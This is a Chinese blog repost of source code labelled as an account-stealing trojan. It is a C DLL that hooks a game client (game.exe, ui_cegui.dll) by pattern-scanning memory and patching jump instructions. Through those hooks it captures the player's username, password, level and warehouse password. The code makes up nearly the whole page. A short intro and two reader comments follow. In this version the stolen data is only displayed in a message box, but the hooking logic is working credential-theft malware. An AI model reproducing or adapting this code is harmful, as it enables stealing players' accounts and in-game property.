生活的天平本不平衡,只有通过努力改变其偏向。

一款盗号木马的核心源码

2008-09-16

大概看了一下,实现方法和内存注册机比较像。先调试定位,然后计算好偏移后,再写代码。

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章作者:认真的雪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
#include <windows.h>
BYTE userCode[7]={0x8B,0x45,0x0C,0x50,0x8D,0x4B,0x5C};
BYTE userJmpCode[6]={0xe9,0x00,0x00,0x00,0x00,0x90};
 
BYTE gradeCode[6]={0x89,0x9F,0xFC,0x00,0x00,0x00};
BYTE gradeJmpCode[6]={0xe9,0x00,0x00,0x00,0x00,0x90};
 
BYTE storeCode[9]={0x8B,0x4E,0x04,0x33,0xC5,0x57,0x8B,0x7D,0x08};
BYTE oldStoreCode[6]={0};
BYTE storeJmpCode[6]={0xe9,0x00,0x00,0x00,0x00,0x90};
 
DWORD ui_cegui;
 
void  *lpUserRet=NULL;
void  *lpGradeRet=NULL;
void  *lpStoreRet=NULL;
 
char user[40];
char pass[40];
char storePassWord[40];
DWORD dwGrade;
 
DWORD stroePath=0;
void _stdcall StroeUnhook();
 
void _stdcall HookStroe();
DWORD CmpFlag(BYTE *flag,char *moduleName,int len,void **lpRet , DWORD *lpModule)
{
BYTE *buff=NULL;
 
HMODULE hModule=::GetModuleHandle(moduleName);
if(hModule==NULL)
{
::MessageBox(NULL,"获取模块错误","failed",0);
return 0;
}
 
DWORD imageSize=*(DWORD*)(*(DWORD*)((DWORD)hModule+0x3c)+(DWORD)hModule+0x50);
void *newModule=VirtualAlloc( NULL, imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
*lpModule=(DWORD)newModule;
memcpy(newModule,(void*)hModule,imageSize);
 
for(DWORD i=0;i<imageSize;i++)
{
buff=(BYTE*)((DWORD)newModule+i);
if(memcmp(buff,flag,len)==0)
{
 
*lpRet=(void*)buff;
return i+(DWORD)hModule;
 
}
 
}
 
return 0;
 
}
 
DWORD GetRealFlag(BYTE *flag,char *moduleName,int len,void **lpRet,DWORD newModule)
{
BYTE *buff=NULL;
 
HMODULE hModule=::GetModuleHandle(moduleName);
 
if(hModule==NULL)
{
::MessageBox(NULL,"获取模块错误","failed",0);
return 0;
}
DWORD imageSize=*(DWORD*)(*(DWORD*)((DWORD)hModule+0x3c)+(DWORD)hModule+0x50);
for(DWORD i=0;i<imageSize;i++)
{
buff=(BYTE*)(newModule+i);
if(memcmp(buff,flag,len)==0)
{
 
*lpRet=(void*)buff;
return i+(DWORD)hModule;
 
}
 
}
return 0;
 
}
 
void _stdcall GetUserBuff(char *userName,char *passWord)
{
strcpy(user,userName);
strcpy(pass,passWord);
 
return;
 
}
 
__declspec(naked)void GetUserAndPass()
{
_asm
{
push eax;
mov eax,dword ptr ss:[ebp+0xC];
push eax;
push ecx;
call GetUserBuff;
call StroeUnhook;
pop eax;
jmp [lpUserRet];
}
}
 
void _stdcall GetGradeDword(DWORD grade)
{
dwGrade=grade;
return;
 
}
 
__declspec(naked)void GetGrade()
{
_asm
{
pushad;
push ebx;
call GetGradeDword;
call HookStroe;
popad;
jmp [lpGradeRet];
}
}
 
void _stdcall StroeUnhook()
{
if(stroePath==0)
return;
MEMORY_BASIC_INFORMATION mbi;
VirtualProtect((void*)stroePath,7,PAGE_READWRITE,(DWORD*)&mbi);
memcpy((void*)stroePath,oldStoreCode,6);
VirtualProtect((void*)stroePath,7,mbi.Protect,0);
return;
 
}
 
void _stdcall GetStoreBuff(char *storePass)
{
strcpy(storePassWord,storePass);
char data[256];
wsprintf(data,"用户名:%s\n密码:%s\n等级:%d\n仓库密码:%s\n",user,pass,dwGrade,storePassWord);
 
::MessageBox(NULL,data,"ok",0);
 
}
__declspec(naked)void GetStore()
{
_asm
{
pushad;
push ecx;
call GetStoreBuff;
call StroeUnhook;
popad;
jmp [lpStoreRet];
 
}
}
 
void _stdcall HookStroe()
{
stroePath=GetRealFlag(storeCode,"ui_cegui.dll",9,&lpStoreRet,ui_cegui);
if(stroePath==0)
return ;
stroePath=stroePath+0x43;
lpStoreRet=(void*)((DWORD)lpStoreRet+0x43);
DWORD jmpAddress=(DWORD)GetStore-(stroePath+5);
*(DWORD*)(&storeJmpCode[1])=jmpAddress;
memcpy(oldStoreCode,(BYTE*)stroePath,6);
 
MEMORY_BASIC_INFORMATION mbi;
VirtualProtect((void*)stroePath,7,PAGE_READWRITE,(DWORD*)&mbi);
memcpy((void*)stroePath,storeJmpCode,6);
VirtualProtect((void*)stroePath,7,mbi.Protect,0);
return;
 
}
void HookGrade()
{
 
DWORD passPath=CmpFlag(gradeCode,"ui_cegui.dll",6,&lpGradeRet,&ui_cegui);
if(passPath==0)
return ;
DWORD jmpAddress=(DWORD)GetGrade-(passPath+5);
*(DWORD*)(&gradeJmpCode[1])=jmpAddress;
MEMORY_BASIC_INFORMATION mbi;
VirtualProtect((void*)passPath,7,PAGE_READWRITE,(DWORD*)&mbi);
memcpy((void*)passPath,gradeJmpCode,6);
VirtualProtect((void*)passPath,7,mbi.Protect,0);
 
}
 
void HookUserAndPass()
{
DWORD hModule;
DWORD passPath=CmpFlag(userCode,"game.exe",7,&lpUserRet,&hModule);
if(passPath==0)
return ;
DWORD jmpAddress=(DWORD)GetUserAndPass-(passPath+5);
*(DWORD*)(&userJmpCode[1])=jmpAddress;
MEMORY_BASIC_INFORMATION mbi;
VirtualProtect((void*)passPath,7,PAGE_READWRITE,(DWORD*)&mbi);
memcpy((void*)passPath,userJmpCode,6);
VirtualProtect((void*)passPath,7,mbi.Protect,0);
}
DWORD WINAPI Thread(LPVOID lpParam)
{
HookUserAndPass();
HookGrade();
 
return 0;
}
 
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
 
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DWORD ThreadId;
CreateThread(NULL,NULL,Thread,NULL,NULL,&ThreadId);
break;
}
 
default:break;
}
 
return TRUE;
}
作者:lonkil | 分类目录:经典源码编程开发 | 标签:

2 条评论

  1. koma 说道:

    没看懂这DLL,能否加点注释?

    • lonkil 说道:

      不好意思,本人不是本篇文章的作者。我当时大概的看了一下,具体的实现思路。正如我在文章开头说的,找准备密码保存的内存,然后读那块内存。

发表评论

电子邮件地址不会被公开。 必填项已用 * 标注

*

您可以使用这些 HTML 标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>